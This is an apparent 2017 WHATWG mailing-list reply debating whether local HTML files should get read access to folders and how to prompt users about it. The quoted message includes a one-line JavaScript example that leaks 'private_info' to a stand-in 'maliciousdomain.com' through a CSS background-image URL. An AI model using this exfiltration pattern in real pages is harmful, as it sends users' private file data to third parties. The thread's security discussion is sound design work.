On 15 Apr 2017, at 01:09, Patrick Dark <whatwg.at.whatwg....@patrick.dark.name> 

> So if you put this file in the Windows Downloads directory, then it
> has read access to all download files even though they aren't related?
> And it grants access to all of those files—some of which may also be
> HTML-based applications—again, even if they aren't related? If the
> user is instructed to place it in the root directory and then grants
> it permissions, it has access to read the entire operating system?
> What if the file is used to dynamically write a CSS style declaration
> as in:
> some_element.style.setProperty("background-image", 
> "url('http://maliciousdomain.com/?private-info="; + private_info + "')");
> How do you address this security hole?

Ah, well, that's why you have to ask the user. The prompt should make
clear that this is a possibility -- something like:

"The webpage ‘[title]’ wants to access files in the folder ‘[name]’.
The webpage will be able to open and read from, but not modify, all
the files in this folder and may be able to send information from those
files to third parties. You should not do this if you do not trust the
source of this webpage. Do you want to allow this?"
[or whatever -- I'm not a UI text writer and something shorter would
probably be better, it's up to browser makers]

Alternatively, the Right Thing might be to say that once you've got
local file access you can't load images, scripts (etc.) over HTTP. That
might be oppressively restrictive for the use case where developers are
using file URLs for development though (they might still want assets
like JS libraries from a CDN).

Basically, I'm willing to trust users to know that files running from
their local computer might affect other things on their local computer
-- especially when warned about it explicitly. After all, as others have
pointed out, the same vulnerability is there when you take the option of
shipping an HTTP server with the HTML files. And, in fact, it's worse
because the HTTP server has no sandboxing to a particular area of the
filesystem and *doesn't* generally warn the user before it gains total
filesystem access.

dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
   we do these things not because they are easy,      +49 159 03847809
      but because we thought they were going to be easy
          — ‘The Programmers’ Credo’, Maciej Cegłowski

Reply via email to